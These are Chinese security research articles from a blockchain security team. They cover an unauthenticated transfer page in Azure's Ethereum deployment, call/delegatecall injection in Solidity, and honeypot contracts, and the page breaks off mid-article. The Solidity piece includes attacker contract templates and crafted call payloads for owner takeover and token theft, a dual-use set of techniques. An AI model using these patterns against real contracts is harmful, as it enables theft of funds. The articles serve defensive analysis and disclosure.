-
Microsoft Azure 以太坊节点自动化部署方案漏洞分析
作者:sunsama@知道创宇404区块链安全研究团队
背景介绍
为了迎合以太坊区块链[1]发展需求,Microsoft Azure[2]早在2016年9月九推出了以太坊节点走自动部署的模块。部署情况如下:
登陆Microsoft Azure:
部署Ethereum Proof-of-Work Consortium:
访问建立的“ADMIN-SITE”可以看到一个“Blockchain Admin”界面:
我们注意到这个管理接口提供了一个“转账”功能并且整个页面缺少鉴权机制任何人都可以访问,这样就导致恶意攻击者可以通过该接口提交钱包地址和转账数量进行转账。
Web3.js 是⼀个兼容了以太坊核心功能的JavaScript库[3],很多以太坊客户端及DApp都是通过调用Web3.js的API接⼝来实现。 以太坊客户端开发库主要是提供了两种类型的API接口:RPC(Remote Procedure Call)及IPC(Inter-process Communications),在以往的攻击事件里很多关注点都在RPC接口上,而很少关注IPC接口,在本文的涉及“Blockchain Admin”的问题就发生在IPC接口上,由此下面做了详细的代码分析:
代码分析
在分析之前我们先介绍下PRC及IPC接口区别:
IPC与RPC简介
IPC(Inter-process Communications)进程间通信,是指在不同进程之间传播或交换信息,IPC的方式通常有管道、消息队列、信号量、共享存储、Socket、Stream等。对于geth来说IPC的方式更为高效,在安装geth之后 IPC socket不会自动创建,并且他也不是一个永久的资源,只有在启动geth时才会创建一个IPC Socket。
有以下几个参数可以在启动geth时配置IPC相关服务,其他参数可以使用geth —help查看。
123--ipcdisable Disable the IPC-RPC server--ipcapi "admin,eth,debug,miner,net,shh,txpool,personal,web3" API's offered over the IPC-RPC interface--ipcpath "geth.ipc" Filename for IPC socket/pipe within the datadir (explicit paths escape it)在geth启动时使用 --ipcpath来指定一个IPC路径,会有一段信息指明IPC的相关信息。例如
12IPC endpoint opened: /Users/username/Library/Ethereum/geth.ipcWeb3.js中提供了使用IPC通信的方法。
1234567// Using the IPC provider in node.jsvar net = require('net');var web3 = new Web3('/Users/myuser/Library/Ethereum/geth.ipc', net); // mac os path// orvar web3 = new Web3(new Web3.providers.IpcProvider('/Users/myuser/Library/Ethereum/geth.ipc', net)); // mac os path// on windows the path is: "\\\\.\\pipe\\geth.ipc"// on linux the path is: "/users/myuser/.ethereum/geth.ipc"node_modules/web3/lib/web3/ipcprovider.js
12345678var IpcProvider = function (path, net) {var _this = this;this.responseCallbacks = {};this.path = path;this.connection = net.connect({path: this.path});...............};https://github.com/ethereum/go-ethereum/wiki/Management-APIs中给出了在命令行使用IPC的例子
RPC(Remote Procedure Call)远程过程调用,指通过网络从远程计算机的程序上请求服务。geth为RPC提供了两种方法,分别是HTTP JSON RPC API(默认8545端口)和WebSocket JSON RPC API(默认8546端口)。
在命令行中可以使用以下参数配置RPC服务。
12345678910--rpc 启用HTTP-RPC服务器--rpcaddr value HTTP-RPC服务器接口地址(默认值:“localhost”)--rpcport value HTTP-RPC服务器监听端口(默认值:8545)--rpcapi value 基于HTTP-RPC接口提供的APIWebSocket--ws 启用WS-RPC服务器--wsaddr value WS-RPC服务器监听接口地址(默认值:“localhost”)--wsport value WS-RPC服务器监听端口(默认值:8546)--wsapi value 基于WS-RPC的接口提供的API--wsorigins value websockets请求允许的源同样的在Web3.js中也提供了使用RPC的方法。
1234567891011Http Apivar Web3 = require('web3');var web3 = new Web3('http://localhost:8545');// orvar web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545'));WebSocket Api// change providerweb3.setProvider('ws://localhost:8546');// orweb3.setProvider(new Web3.providers.WebsocketProvider('ws://localhost:8546'));1234567/*** HttpProvider should be used to send rpc calls over http*/var HttpProvider = function (host, timeout) {this.host = host || 'http://localhost:8545';this.timeout = timeout || 0;};以太坊黑色情人节事件中,攻击者就是利用了RPC接口进行恶意转账。
流程分析
我们在Blockchain Admin页面的两个输入框中输入转账地址和转账数量并提交。
/home/ethtest/etheradmin/app.js定义了提交后服务器处理的方法。
1234567891011121314151617181920212223242526272829303132333435命令行中的参数var listenPort = process.argv[2]var gethIPCPath = process.argv[3];var coinbase = process.argv[4];var coinbasePw = process.argv[5];var consortiumId = process.argv[6];var registrarHostEndpoint = process.argv[7];var registrarConnectionString = process.argv[8];var registrarDatatbaseId = process.argv[9];var registrarCollectionId = process.argv[10];定义了使用IPC服务var web3IPC = new Web3(new Web3.providers.IpcProvider(gethIPCPath, require('net')));··············app.post('/', function(req, res) {var address = req.body.etherAddress;//转账地址var amount = req.body.amount;//转账数量if(web3IPC.isAddress(address)) {//如果提交的地址是以太坊地址则解锁账号web3IPC.personal.unlockAccount(coinbase, coinbasePw, function(err, res) {console.log(res);//通过ipc方法发送一笔交易web3IPC.eth.sendTransaction({from: coinbase, to: address, value: web3IPC.toWei(amount, 'ether')}, function(err, res){ console.log(address)});});req.session.isSent = true;} else {req.session.error = "Not a valid Ethereum address";}res.redirect('/');});使用POST方法提交后,会判断我们输入的地址是否是合法的以太坊地址。默认情况下我们的账号是处于锁定状态的,这里判断地址正确后使用personl.unlockAccount()方法解锁账号。该方法需要的参数coinbase和coinbasePw在启动服务时已经在命令行中作为参数传递过来了,使用ps命令查看该服务的进程。
其中f9cdc590071d9993b198b08694e5edf376979ce6是我们的钱包地址,123qweasdZXC是解锁钱包需要的密码,/home/ethtest/.ethereum/geth.ipc是getIPCPath参数的内容。
personal.js中的unlockAccount方法。
123456var unlockAccount = new Method({name: 'unlockAccount',call: 'personal_unlockAccount',params: 3,inputFormatter: [formatters.inputAddressFormatter, null, null]});IpcProvider.js中对发送方法的定义。
1234567891011121314151617181920212223IpcProvider.prototype.send = function (payload) {if(this.connection.writeSync) {var result;// try reconnect, when connection is goneif(!this.connection.writable)this.connection.connect({path: this.path});var data = this.connection.writeSync(JSON.stringify(payload));try {result = JSON.parse(data);} catch(e) {throw errors.InvalidResponse(data);}return result;} else {throw new Error('You tried to send "'+ payload.method +'" synchronously. Synchronous requests are not supported by the IPC provider.');}};ipcprovider会调用JSONRPC.js将unlockAccount方法中的参数格式化为JSON格式。
在node_modules/web3/lib/web3/ipcprovider.js中下断点跟踪一下数据流。
然后将数据通过socket写入。
接下来geth通过IPC接收到了请求的方法和参数,然后使用UnlockAccount函数进行账户解锁,解锁账户后使⽤eth.sendTransaction⽅法发送交易。
sendTransaction方法会使用已经解锁后的本地账户的私钥进行签名,并使用SignedTransaction方法进行发送签名后的交易。
我们通过geth日志获取交易hash,在console中查看详细信息。
- 下面是从提交交易请求到生成交易并发送的流程图。
值得一提的是:在我们分析过程发现通过Microsoft Azure提供的以太坊节点自动化部署方案仍然使用的1.7.3版本的geth ⽽这个版本里UnlockAccount函数:
12345678910111213141516171819202122232425func (s *PrivateAccountAPI) UnlockAccount(addr common.Address, password string, duration *uint64) (bool, error) {const max = uint64(time.Duration(math.MaxInt64) / time.Second)var d time.Durationif duration == nil {d = 300 * time.Second} else if *duration > max {return false, errors.New("unlock duration too large")} else {d = time.Duration(*duration) * time.Second}err := fetchKeystore(s.am).TimedUnlock(accounts.Account{Address: addr}, password, d)return err == nil, err}wiki中对personal_unlockAccount方法的定义:
从keystore中解锁账户并获得私钥,并把已经解锁的私钥放到内存中。解锁账户的api允许传入超时时间,默认超时为300秒,如果传⼊入的超时时间为0,则是永久不不会超时,账户⼀直处于解锁状态,直到节点进程退出。这也是“以太坊【偷渡】漏洞事件[5]”发生的主要原因。
风险评估
在以往的关于以太坊攻击案例里更多的是发生在暴露在互联网的RPC接口上,⽽基于本地进程通讯的IPC接口 被认为是相对安全可靠的,但是如果类似于Microsoft Azure提供的以太坊节点⾃动化部署⽅案里 的“Blockchain Admin”基于IPC调⽤程序,本身没有任何认证直接暴露在互联网上无疑是巨大的安全风险。(注:通过ZoomEye⽹路空间搜索引擎[7]可以看到曾经暴露在互联网上的目标。)
在实际测试分析过程发现使用Microsoft Azure提供的以太坊节点自动化部署方案更多的是联盟链或私有链,部署共有链的情况较少,所以这个安全事件实际可能给共有链的带来的影响相对不大。对于联盟链或私有链的影响需要根据其本身的情况去衡量量评估。
报告流程
针对以上问题我们第一时间联系了微软:
- 2018年5月21日 相关问题描叙报告给MSRC邮件 secure@microsoft.com
- 2018年5月22日 收到MSRC邮件反馈并按要求补充了相关技术细节
- 2018年5月24日 收到MSRC Case分配确认邮件
- 2018年5月31日 收到MSRC关于ZoomEye搜索引擎相关细节询问并反馈
- 2018年7月6日 邮件MSRC追问相关问题修复进展
- 2018年7月10日 收到MSRC反馈邮件称:他们认为这个是设计考虑的问题,用户可以选择对管理页面进行限制,另外升级了Geth版本
总结
区块链虚拟货币安全事件频发,安全刻不不容。通过这次的案例可以得几点建议:
- 尽量避免使用这种自动化部署区块链应用的方案,如果必须使用的话,请仔细查看该方案使用的程序是否存在安全缺陷与漏洞。
- 修改默认端口,关闭对外的高权限接口,如果必须暴露在互联网,请对接口进行鉴权。
- 关注官方发布的更新日志,及时更新代码。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)参考
[1] https://baike.baidu.com/item/%E4%BB%A5%E5%A4%AA%E5%9D%8A/20865117?fr=aladdin
[2] https://azure.microsoft.com/en-us/
[3] https://github.com/ethereum/web3.js/
[4] https://github.com/ethereum/go-ethereum/wiki/Management-APIs
[5] https://paper.seebug.org/547/
[6] https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg
[7] https://www.zoomeye.org/searchResult?q=%22Blockchain%20Admin%22本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/638/
没有评论 -
以太坊 Solidity 合约 call 函数簇滥用导致的安全风险
作者:0x7F@知道创宇404区块链安全研究团队
时间:2018年6月26日0x00 前言
Solidity 是一种用与编写以太坊智能合约的高级语言,语法类似于 JavaScript。Solidity 编写的智能合约可被编译成为字节码在以太坊虚拟机上运行。Solidity 中的合约与面向对象编程语言中的类(Class)非常类似,在一个合约中同样可以声明:状态变量、函数、事件等。同时,一个合约可以调用/继承另外一个合约。
在 Solidity 中提供了
call
、delegatecall
、callcode
三个函数来实现合约之间相互调用及交互。正是因为这些灵活各种调用,也导致了这些函数被合约开发者“滥用”,甚至“肆无忌惮”提供任意调用“功能”,导致了各种安全漏洞及风险:2017.7.20,Parity Multisig电子钱包版本 1.5+ 的漏洞被发现,使得攻击者从三个高安全的多重签名合约中窃取到超过 15 万 ETH ,其事件原因是由于未做限制的
delegatecall
函数调用了合约初始化函数导致合约拥有者被修改。2018.6.16,「隐形人真忙」在先知大会上演讲了「智能合约消息调用攻防」的议题,其中提到了一种新的攻击场景——
call
注⼊,主要介绍了利用对call
调用处理不当,配合一定的应用场景的一种攻击手段。接着于 2018.6.20,ATN
代币团队发布「ATN抵御黑客攻击的报告」,报告指出黑客利用call
注入攻击漏洞修改合约拥有者,然后给自己发行代币,从而造成ATN
代币增发。由此本文主要是针对 Solidity 合约调用函数
call
、delegatecall
、callcode
三种调用方式的异同、滥用导致的漏洞模型并结合实际案例进行分析介绍。0x01 Solidity 的三种调用函数
在 Solidity 中,
call
函数簇可以实现跨合约的函数调用功能,其中包括call
、delegatecall
和callcode
三种方式。以下是 Solidity 中
call
函数簇的调用模型:123<address>.call(...) returns (bool)<address>.callcode(...) returns (bool)<address>.delegatecall(...) returns (bool)这些函数提供了灵活的方式与合约进行交互,并且可以接受任何长度、任何类型的参数,其传入的参数会被填充至 32 字节最后拼接为一个字符串序列,由 EVM 解析执行。
在函数调用的过程中, Solidity 中的内置变量
msg
会随着调用的发起而改变,msg
保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。三种调用方式的异同点
- call: 最常用的调用方式,调用后内置变量
msg
的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。 - delegatecall: 调用后内置变量
msg
的值不会修改为调用者,但执行环境为调用者的运行环境。 - callcode: 调用后内置变量
msg
的值会修改为调用者,但执行环境为调用者的运行环境。
通过下面的例子对比三种调用方式,在
remix
部署调试,部署地址为0xca35b7d915458ef540ade6068dfe2f44e8fa733c
:12345678910111213141516171819202122pragma solidity ^0.4.0;contract A {address public temp1;uint256 public temp2;function three_call(address addr) public {addr.call(bytes4(keccak256("test()"))); // 1//addr.delegatecall(bytes4(keccak256("test()"))); // 2//addr.callcode(bytes4(keccak256("test()"))); // 3}}contract B {address public temp1;uint256 public temp2;function test() public {temp1 = msg.sender;temp2 = 100;}}在部署后可以看到合约 A 的变量值:
temp1 = 0x0, temp2 = 0x0
,同样合约 B 的变量值也是:temp1 = 0x0, temp2 = 0x0
。现在调用语句1
call
方式,观察变量的值发现合约 A 中变量值为0x0
,而被调用者合约 B 中的temp1 = address(A), temp2 = 100
:现在调用语句2
delegatecall
方式,观察变量的值发现合约 B 中变量值为0x0
,而调用者合约 A 中的temp1 = 0xca35b7d915458ef540ade6068dfe2f44e8fa733c, temp2 = 100
:现在调用语句3
callcode
方式,观察变量的值发现合约 B 中变量值为0x0
,而调用者合约 A 中的temp1 = address(A), temp2 = 100
:0x02 delegatecall 「滥用」问题
delegatecall: 调用后内置变量
msg
的值不会修改为调用者,但执行环境为调用者的运行环境。原理
在智能合约的开发过程中,合约的相互调用是经常发生的。开发者为了实现某些功能会调用另一个合约的函数。比如下面的例子,调用一个合约 A 的
test()
函数,这是一个正常安全的调用。1234567function test(uint256 a) public {// codes}function callFunc() public {<A.address>.delegatecall(bytes4(keccak256("test(uint256)")), 10);}但是在实际开发过程中,开发者为了兼顾代码的灵活性,往往会有下面这种写法:
123function callFunc(address addr, bytes data) public {addr.delegatecall(data);}这将引起任意 public 函数调用的问题:合约中的
delegatecall
的调用地址和调用的字符序列都由用户传入,那么完全可以调用任意地址的函数。除此之外,由于
delegatecall
的执行环境为调用者环境,当调用者和被调用者有相同变量时,如果被调用的函数对变量值进行修改,那么修改的是调用者中的变量。利用模型
下面的例子中 B 合约是业务逻辑合约,其中存在一个任意地址的
delegatecall
调用。12345678contract B {address owner;function callFunc(address addr, bytes data) public {addr.delegatecall(data);//address(Attack).delegatecall(bytes4(keccak256("foo()"))); //利用代码示意}}攻击者对应这种合约可以编写一个 Attack 合约,然后精心构造字节序列(将注释部分的攻击代码转换为字节序列),通过调用合约 B 的
delegatecall
,最终调用 Attack 合约中的函数,下面是 Attack 合约的例子:1234567contract Attack {address owner;function foo() public {// any codes}}对于
delegatecall
「滥用」的问题,实际的漏洞效果取决于 Attack 合约中的攻击代码,可能造成的安全问题包括:- 攻击者编写一个转账的函数,窃取合约 B 的货币
- 攻击者编写设置合约拥有者的函数,修改合约 B 的拥有者
delegatecall 安全问题案例
Parity MultiSig钱包事件
2017.7.20,Parity Multisig电子钱包版本 1.5+ 的漏洞被发现,使得攻击者从三个高安全的多重签名合约中窃取到超过 15 万 ETH ,按照当时的 ETH 价格来算,大约为 3000 万美元。
其事件原因是由于未做限制的
delegatecall
可以调用WalletLibrary
合约的任意函数,并且其钱包初始化函数未做校验,导致初始化函数可以重复调用。攻击者利用这两个条件,通过delegatecall
调用initWallet()
函数,最终修改了合约拥有者,并将合约中的以太币转到自己的账户下。下面是存在安全问题的代码片段:
(Github/parity: https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol)a. delegatecall 调用代码:
(contract Wallet is WalletEvents
)12345678// gets called when no other function matchesfunction() payable {// just being sent some cash?if (msg.value > 0)Deposit(msg.sender, msg.value);else if (msg.data.length > 0)_walletLibrary.delegatecall(msg.data);}b. initWallet() 与 initMultiowned() 代码片段:
(contract WalletLibrary is WalletEvents
)1234567891011121314151617function initWallet(address[] _owners, uint _required, uint _daylimit) {initDaylimit(_daylimit);initMultiowned(_owners, _required);}...function initMultiowned(address[] _owners, uint _required) {m_numOwners = _owners.length + 1;m_owners[1] = uint(msg.sender);m_ownerIndex[uint(msg.sender)] = 1;for (uint i = 0; i < _owners.length; ++i) {m_owners[2 + i] = uint(_owners[i]);m_ownerIndex[uint(_owners[i])] = 2 + i;}m_required = _required;}其中钱包初始化函数
initMultiowned()
未做校验,可以被多次调用,存在安全隐患,但由于其位于WalletLibrary
合约下,是不能直接调用的。黑客利用Wallet
合约中的delegatecall
调用WalletLibrary
合约的initWallet()
函数,初始化整个钱包,将合约拥有者修改为仅黑客一人,随后进行转账操作。黑客攻击链:
除了上述
delegatecall
滥用的案例,在分析研究的过程中,发现有部分蜜罐合约利用delegatecall
的特性(拷贝目标到自己的运行空间中执行),在代码中暗藏后门,暗中修改转账地址,导致用户丢失货币。有关delegatecall
蜜罐的详情请参考「以太坊蜜罐智能合约分析」,其中的 「4.2 偷梁换柱的地址(访问控制):firstTest」小节。0x03 call 安全问题
call: 最常用的调用方式,调用后内置变量
msg
的值会修改为调用者,执行环境为被调用者的运行环境。call
注入是一种新的攻击场景,由「隐形人真忙」在先知大会上演讲「智能合约消息调用攻防」议题上提出,原因是对call
调用处理不当,配合一定的应用场景的一种攻击手段。call 注入原理
call 调用修改 msg.sender 值
通常情况下合约通过call
来执行来相互调用执行,由于call
在相互调用过程中内置变量msg
会随着调用方的改变而改变,这就成为了一个安全隐患,在特定的应用场景下将引发安全问题。外部用户通过 call 函数再调用合约函数:
高度自由的 call 调用
在某些应用场景下,调用函数可以由用户指定;下面是
call
函数的调用方式:12<address>.call(function_selector, arg1, arg2, ...)<address>.call(bytes)从上面可以看出,
call
函数拥有极大的自由度:- 对于一个指定合约地址的
call
调用,可以调用该合约下的任意函数 - 如果
call
调用的合约地址由用户指定,那么可以调用任意合约的任意函数
为了便于理解,可以将智能合约中的
call
函数类比为其他语言中的eval
函数,call
函数相当于给用户提供了随意调用合约函数的入口,如果合约中有函数以msg.sender
作为关键变量,那么就会引发安全问题。call 函数簇调用自动忽略多余参数
call
函数簇在调用函数的过程中,会自动忽略多余的参数,这又额外增加了call
函数簇调用的自由度。下面的例子演示call
自动忽略多余参数:12345678910111213pragma solidity ^0.4.0;contract A {uint256 public aa = 0;function test(uint256 a) public {aa = a;}function callFunc() public {this.call(bytes4(keccak256("test(uint256)")), 10, 11, 12);}}例子中
test()
函数仅接收一个uint256
的参数,但在callFunc()
中传入了三个参数,由于call
自动忽略多余参数,所以成功调用了test()
函数。call 注入模型
call
注入引起的最根本的原因就是call
在调用过程中,会将msg.sender
的值转换为发起调用方的地址,下面的例子描述了call
注入的攻击模型。12345678910contract B {function info(bytes data){this.call(data);//this.call(bytes4(keccak256("secret()"))); //利用代码示意}function secret() public{require(this == msg.sender);// secret operations}}在合约 B 中存在
info()
和secret()
函数,其中secret()
函数只能由合约自己调用,在info()
中有用户可以控制的call
调用,用户精心构造传入的数据(将注释转为字节序列),即可绕过require()
的限制,成功执行下面的代码。对于
call
注入的问题,实际造成的漏洞影响取决于被调用的函数,那么可能的安全问题包括:1.权限绕过
如同上面的例子,合约将合约本身的地址作为权限认证的条件之一,但由于call
的调用会导致msg.sender
变量值更新为调用方的值,所以就会引起权限绕过的问题。123456789101112131415161718192021function callFunc(bytes data) public {this.call(data);//this.call(bytes4(keccak256("withdraw(address)")), target); //利用代码示意}function withdraw(address addr) public {require(isAuth(msg.sender));addr.transfer(this.balance);}function isAuth(address src) internal view returns (bool) {if (src == address(this)) {return true;}else if (src == owner) {return true;}else {return false;}}上述例子表示了权限绕过导致的任意用户提取货币。,
withdraw()
函数设计的初衷为只能有合约拥有者和合约本身可以发起取款的操作;但由于call
的问题,只要用户精心拼接字符序列调用call
,从而调用withdraw()
函数,就可以绕过isAuth()
并取款。2.窃取代币
在代币合约中,往往会加入一个call
回调函数,用于通知接收方以完成后续的操作。但由于call
调用的特性,用户可以向call
传入transfer()
函数调用,即可窃取合约地址下代币。下面的例子表示了用户传入
transfer()
函数导致窃取代币。12345678910function transfer(address _to, uint256 _value) public {require(_value <= balances[msg.sender]);balances[msg.sender] -= _value;balances[_to] += _value;}function callFunc(bytes data) public {this.call(data);//this.call(bytes4(keccak256("transfer(address,uint256)")), target, value); //利用代码示意}该例子是代币合约的代码片段,用户传入精心构造的字符序列以通过
call
来调用transfer()
函数,并传入transfer()
的参数_to
为自己的地址;通过call
调用后,transfer()
函数执行时的msg.sender
的值已经是合约地址了,_to
地址是用户自己的地址,那么用户就成功窃取了合约地址下的代币。call 注入案例
1.ATN代币增发
2018.5.11,ATN 技术人员收到异常监控报告,显示
ATN Token
供应量出现异常,通过分析发现Token
合约由于存在漏洞受到攻击。该事件对应了上文中的第一种利用模型,由于 ATN 代币的合约中的疏漏,该事件中call
注入不但绕过了权限认证,同时还可以更新合约拥有者。在 ATN 项目中使用到了
ERC223
和ds-auth
库,两个库在单独使用的情况下没有问题,同时使用时就会出现安全问题,以下是存在安全问题的代码片段。 (Github/ATN: https://github.com/ATNIO/atn-contracts)a.
ERC223
标准中的自定义回调函数:
(Github/ERC223: https://github.com/Dexaran/ERC223-token-standard)12345678function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback) public returns (bool success) {...if (isContract(_to)) {ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);}...}b.
ds-auth
权限认证和更新合约拥有者函数:
(Github/ds-auth: https://github.com/dapphub/ds-auth)123456789101112131415161718192021222324...function setOwner(address owner_) public auth {owner = owner_;emit LogSetOwner(owner);}...modifier auth {require(isAuthorized(msg.sender, msg.sig));_;}function isAuthorized(address src, bytes4 sig) internal view returns (bool) {if (src == address(this)) {return true;} else if (src == owner) {return true;} else if (authority == DSAuthority(0)) {return false;} else {return authority.canCall(src, this, sig);}}黑客通过调用
transferFrom()
函数,并传入黑客自己的地址作为_from
参数, ATN 合约的地址作为_to
参数,并传入setOwner()
作为回调函数;在执行过程中,由于call
调用自动忽略多余的参数,黑客的地址将作为setOwner()
的参数成功执行到函数内部,与此同时,call
调用已经将msg.sender
转换为了合约本身的地址,也就绕过了isAuthorized()
的权限认证,黑客成功将合约的拥有者改为了自己;随后调用Mint()
函数为自己发行代币,最后黑客再次调用setOwner()
将权限还原,企图销毁作案现场。黑客攻击链:
得力于 ATN 代币团队及时发现问题,并高效的解决问题,此次事件并未对 ATN 代币造成较大的波动;ATN 代币团队封锁了黑客账户,也销毁了由黑客发行的 1100W 个代币,最后在交易所的配合下追踪黑客。
2.大量代币使用不安全代码
对于第二种利用模型,在目前公开的智能合约中,仍有不少合约使用这种不安全的代码,为了实现通知接收方以完成后续的操作,加入了一个高度自由的回调函数方法。以下是存在安全隐患的代码片段:
(etherscan: https://etherscan.io/address/0xbe803e33c0bbd4b672b97158ce21f80c0b6f3aa6#code)
1234567891011121314151617181920...function transfer(address _to, uint256 _value) public returns (bool success) {require(_to != address(0));require(_value <= balances[msg.sender]);require(balances[_to] + _value > balances[_to]);balances[msg.sender] -= _value;balances[_to] += _value;Transfer(msg.sender, _to, _value);return true;}...function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {allowed[msg.sender][_spender] = _value;Approval(msg.sender, _spender, _value);if(!_spender.call(_extraData)) { revert(); }return true;}...黑客通过调用
approveAndCallcode()
函数,将合约地址作为_spender
参数,并将transfer()
的调用转换为字节序列作为_extraData
参数,最终调用transfer()
函数。在transfer()
函数中,_to
参数为黑客的地址,而此时msg.sender
的值已经是合约本身的地址了,黑客通过这种方式,成功窃取了合约地址中的代币。黑客攻击链:
对于上述所描述的安全问题目前还不能造成直接的经济损失。在对这类智能合约的审计过程中,发现目前大量的代币合约不会使用到合约本身的地址作为存储单元,也就是说 合约地址所对应的代币量为 0 (
balances[address(this)] == 0
)。但这种不安全的代码很难猜测到在后续的发展中,会引起什么样的问题,应该保持关注并避免这种不安全的代码。0x04 callcode 安全问题
callcode: 调用后内置变量
msg
的值会修改为调用者,但执行环境为调用者的运行环境。由于
callcode
同时包含了call
和delegatecall
的特性,通过上文对call
和delegatecall
的安全问题进行了分析和举例,可以得出的结论是call
和delegatecall
存在的安全问题将同时存在于callcode
中,这里不再进行详细的分析。0x05 总结
目前,区块链技术极高的热度促使该技术不断的投入到了生产环境中,但还没有完整的技术流水线,也没有统一的行业规范,同时 Solidity 语言现在版本为
0.4.25
,还没有发布第一个正式版本,导致基于区块链技术的产品出现各种安全漏洞,部分漏洞可以直接造成经济损失。针对文中所提到的安全隐患,这里给开发者几个建议:
call
、callcode
、delegatecall
调用的自由度极大,并且call
会发生msg
值的改变,需要谨慎的使用这些底层的函数;同时在使用时,需要对调用的合约地址、可调用的函数做严格的限制。call
与callcode
调用会改变msg
的值,会修改msg.sender
为调用者合约的地址,所以在合约中不能轻易将合约本身的地址作为可信地址。delegatecall
与callcode
会拷贝目标代码到自己的环境中执行,所以调用的函数应该做严格的限制,避开调用任意函数的隐患。- 智能合约在部署前必须通过严格的审计和测试。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)
[1] Solidity: http://solidity.readthedocs.io/en/v0.4.24/
[2] zeppelin: https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7
[3] seebug.「智能合约消息调用攻防」: https://paper.seebug.org/625/
[4] ATN.IO: https://paper.seebug.org/621/
[5] seebug.DAO攻击事件解析: https://paper.seebug.org/544/
[6] seebug.智能合约call注入攻击: https://paper.seebug.org/624/
[7] Github.ATN: https://github.com/ATNIO/atn-contracts
[8] Github.ERC223: https://github.com/Dexaran/ERC223-token-standard
[9] Github.ds-auth: https://github.com/dapphub/ds-auth
[10]The Parity Wallet Hack Explained: https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7
[11]Github.OpenZeppelin: https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1044
[12]ethereum.call/callcode/delegatecall: https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall
[13]Github.parity: https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol
[14]《以太坊技术详解与实战》本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/633/
- call: 最常用的调用方式,调用后内置变量
-
以太坊蜜罐智能合约分析
作者:dawu&0x7F@知道创宇404区块链安全研究团队
时间:2018/06/260x00 前言
在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots。
本文将对文中和评论中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 项目中的各蜜罐智能合约进行分析,根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面:
- 古老的欺骗手段
- 神奇的逻辑漏洞
- 新颖的赌博游戏
- 黑客的漏洞利用
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到
118
个蜜罐智能合约地址,一共骗取了34.7152916
个以太币(2018/06/26
价值102946
元人民币),详情请移步文末附录部分。0x01 古老的欺骗手段
对于该类蜜罐合约来说,仅仅使用最原始的欺骗手法。
这种手法是拙劣的,但也有着一定的诱导性。1.1 超长空格的欺骗:WhaleGiveaway1
- Github地址:smart-contract-honeypots/WhaleGiveaway1.sol
- 智能合约地址:0x7a4349a749e59a5736efb7826ee3496a2dfd5489
在
github
上看到的合约代码如下:细读代码会发现
GetFreebie()
的条件很容易被满足:1234if(msg.value>1 ether){msg.sender.transfer(this.balance);}只要转账金额大于
1 ether
,就可以取走该智能合约里所有的以太币。但事实绝非如此,让我们做出错误判断的原因在于
github
在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图:图中第
21
行和第29
行就是蜜罐作者通过超长空格
隐藏起来的代码。所以实际的脆弱点
是这样的:12345if(msg.value>1 ether){Owner.transfer(this.balance);msg.sender.transfer(this.balance);}先将账户余额转给合约的创立者,然后再将剩余的账户余额(也就是0)转给转账的用户(受害者)
与之类似的智能合约还有
TestToken
,留待有兴趣的读者继续分析:0x02 神奇的逻辑漏洞
该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适:
送餐员: 外卖一共30元
骗子B: 没零的,100!
送餐员: 行,我找你......70!(送餐员掏出70给骗子B)
骗子A: 哎,等会儿等会儿,我这有零的,30是吧,把那100给我吧!给,30!(骗子A拿走了B给送餐员的100元,又给了送餐员30元)
送餐员: 30元正好,再见!该类漏洞也是如此,在看起来正常的逻辑下,总藏着这样那样的陷阱。
2.1 天上掉下的馅饼:Gift_1_ETH
- Github地址:smart-contract-honeypots/Gift_1_ETH.sol
- 智能合约地址:0xd8993F49F372BB014fB088eaBec95cfDC795CBF6
- 合约关键代码如下:
123456789101112131415161718192021222324252627282930313233contract Gift_1_ETH{bool passHasBeenSet = false;bytes32 public hashPass;function SetPass(bytes32 hash)payable{if(!passHasBeenSet&&(msg.value >= 1 ether)){hashPass = hash;}}function GetGift(bytes pass) returns (bytes32){if( hashPass == sha3(pass)){msg.sender.transfer(this.balance);}return sha3(pass);}function PassHasBeenSet(bytes32 hash){if(hash==hashPass){passHasBeenSet=true;}}}整个智能合约的逻辑很简单,三个关键函数功能如下:
SetPass()
: 在转账大于1 ether
并且passHasBeenSet
为false
(默认值就是false
),就可以设置密码hashPass
。GetGift()
: 在输入的密码加密后与hashPass
相等的情况下,就可以取走合约里所有的以太币。PassHasBeenSet()
:如果输入的hash
与hashPass
相等,则passHasBeenSet
将会被设置成true
。
如果我们想取走合约里所有的以太币,只需要按照如下流程进行操作:
推特用户
Alexey Pertsev
还为此写了一个获取礼物的EXP
。但实际场景中,受害者转入一个以太币后并没有获取到整个智能合约的余额,这是为什么呢?
